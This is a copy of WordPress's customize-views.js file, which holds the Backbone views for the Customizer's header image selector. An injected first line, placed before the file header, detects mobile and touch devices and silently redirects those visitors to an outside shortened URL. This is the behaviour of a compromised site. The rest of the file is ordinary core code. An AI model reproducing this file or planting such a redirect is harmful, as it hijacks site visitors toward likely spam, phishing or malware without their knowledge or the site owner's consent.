1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/customize-views.js
4 */
5
6(function( $, wp, _ ) {
7
8 if ( ! wp || ! wp.customize ) { return; }
9 var api = wp.customize;
10
11 /**
12 * wp.customize.HeaderTool.CurrentView
13 *
14 * Displays the currently selected header image, or a placeholder in lack
15 * thereof.
16 *
17 * Instantiate with model wp.customize.HeaderTool.currentHeader.
18 *
19 * @memberOf wp.customize.HeaderTool
20 * @alias wp.customize.HeaderTool.CurrentView
21 *
22 * @constructor
23 * @augments wp.Backbone.View
24 */
25 api.HeaderTool.CurrentView = wp.Backbone.View.extend(/** @lends wp.customize.HeaderTool.CurrentView.prototype */{
26 template: wp.template('header-current'),
27
28 initialize: function() {
29 this.listenTo(this.model, 'change', this.render);
30 this.render();
31 },
32
33 render: function() {
34 this.$el.html(this.template(this.model.toJSON()));
35 this.setButtons();
36 return this;
37 },
38
39 setButtons: function() {
40 var elements = $('#customize-control-header_image .actions .remove');
41 var addButton = $('#customize-control-header_image .actions .new');
42
43 if (this.model.get('choice')) {
44 elements.show();
45 addButton.removeClass('upload-button');
46 } else {
47 elements.hide();
48 addButton.addClass('upload-button');
49 }
50 }
51 });
52
53
54 /**
55 * wp.customize.HeaderTool.ChoiceView
56 *
57 * Represents a choosable header image, be it user-uploaded,
58 * theme-suggested or a special Randomize choice.
59 *
60 * Takes a wp.customize.HeaderTool.ImageModel.
61 *
62 * Manually changes model wp.customize.HeaderTool.currentHeader via the
63 * `select` method.
64 *
65 * @memberOf wp.customize.HeaderTool
66 * @alias wp.customize.HeaderTool.ChoiceView
67 *
68 * @constructor
69 * @augments wp.Backbone.View
70 */
71 api.HeaderTool.ChoiceView = wp.Backbone.View.extend(/** @lends wp.customize.HeaderTool.ChoiceView.prototype */{
72 template: wp.template('header-choice'),
73
74 className: 'header-view',
75
76 events: {
77 'click .choice,.random': 'select',
78 'click .close': 'removeImage'
79 },
80
81 initialize: function() {
82 var properties = [
83 this.model.get('header').url,
84 this.model.get('choice')
85 ];
86
87 this.listenTo(this.model, 'change:selected', this.toggleSelected);
88
89 if (_.contains(properties, api.get().header_image)) {
90 api.HeaderTool.currentHeader.set(this.extendedModel());
91 }
92 },
93
94 render: function() {
95 this.$el.html(this.template(this.extendedModel()));
96
97 this.toggleSelected();
98 return this;
99 },
100
101 toggleSelected: function() {
102 this.$el.toggleClass('selected', this.model.get('selected'));
103 },
104
105 extendedModel: function() {
106 var c = this.model.get('collection');
107 return _.extend(this.model.toJSON(), {
108 type: c.type
109 });
110 },
111
112 select: function() {
113 this.preventJump();
114 this.model.save();
115 api.HeaderTool.currentHeader.set(this.extendedModel());
116 },
117
118 preventJump: function() {
119 var container = $('.wp-full-overlay-sidebar-content'),
120 scroll = container.scrollTop();
121
122 _.defer(function() {
123 container.scrollTop(scroll);
124 });
125 },
126
127 removeImage: function(e) {
128 e.stopPropagation();
129 this.model.destroy();
130 this.remove();
131 }
132 });
133
134
135 /**
136 * wp.customize.HeaderTool.ChoiceListView
137 *
138 * A container for ChoiceViews. These choices should be of one same type:
139 * user-uploaded headers or theme-defined ones.
140 *
141 * Takes a wp.customize.HeaderTool.ChoiceList.
142 *
143 * @memberOf wp.customize.HeaderTool
144 * @alias wp.customize.HeaderTool.ChoiceListView
145 *
146 * @constructor
147 * @augments wp.Backbone.View
148 */
149 api.HeaderTool.ChoiceListView = wp.Backbone.View.extend(/** @lends wp.customize.HeaderTool.ChoiceListView.prototype */{
150 initialize: function() {
151 this.listenTo(this.collection, 'add', this.addOne);
152 this.listenTo(this.collection, 'remove', this.render);
153 this.listenTo(this.collection, 'sort', this.render);
154 this.listenTo(this.collection, 'change', this.toggleList);
155 this.render();
156 },
157
158 render: function() {
159 this.$el.empty();
160 this.collection.each(this.addOne, this);
161 this.toggleList();
162 },
163
164 addOne: function(choice) {
165 var view;
166 choice.set({ collection: this.collection });
167 view = new api.HeaderTool.ChoiceView({ model: choice });
168 this.$el.append(view.render().el);
169 },
170
171 toggleList: function() {
172 var title = this.$el.parents().prev('.customize-control-title'),
173 randomButton = this.$el.find('.random').parent();
174 if (this.collection.shouldHideTitle()) {
175 title.add(randomButton).hide();
176 } else {
177 title.add(randomButton).show();
178 }
179 }
180 });
181
182
183 /**
184 * wp.customize.HeaderTool.CombinedList
185 *
186 * Aggregates wp.customize.HeaderTool.ChoiceList collections (or any
187 * Backbone object, really) and acts as a bus to feed them events.
188 *
189 * @memberOf wp.customize.HeaderTool
190 * @alias wp.customize.HeaderTool.CombinedList
191 *
192 * @constructor
193 * @augments wp.Backbone.View
194 */
195 api.HeaderTool.CombinedList = wp.Backbone.View.extend(/** @lends wp.customize.HeaderTool.CombinedList.prototype */{
196 initialize: function(collections) {
197 this.collections = collections;
198 this.on('all', this.propagate, this);
199 },
200 propagate: function(event, arg) {
201 _.each(this.collections, function(collection) {
202 collection.trigger(event, arg);
203 });
204 }
205 });
206
207})( jQuery, window.wp, _ );
208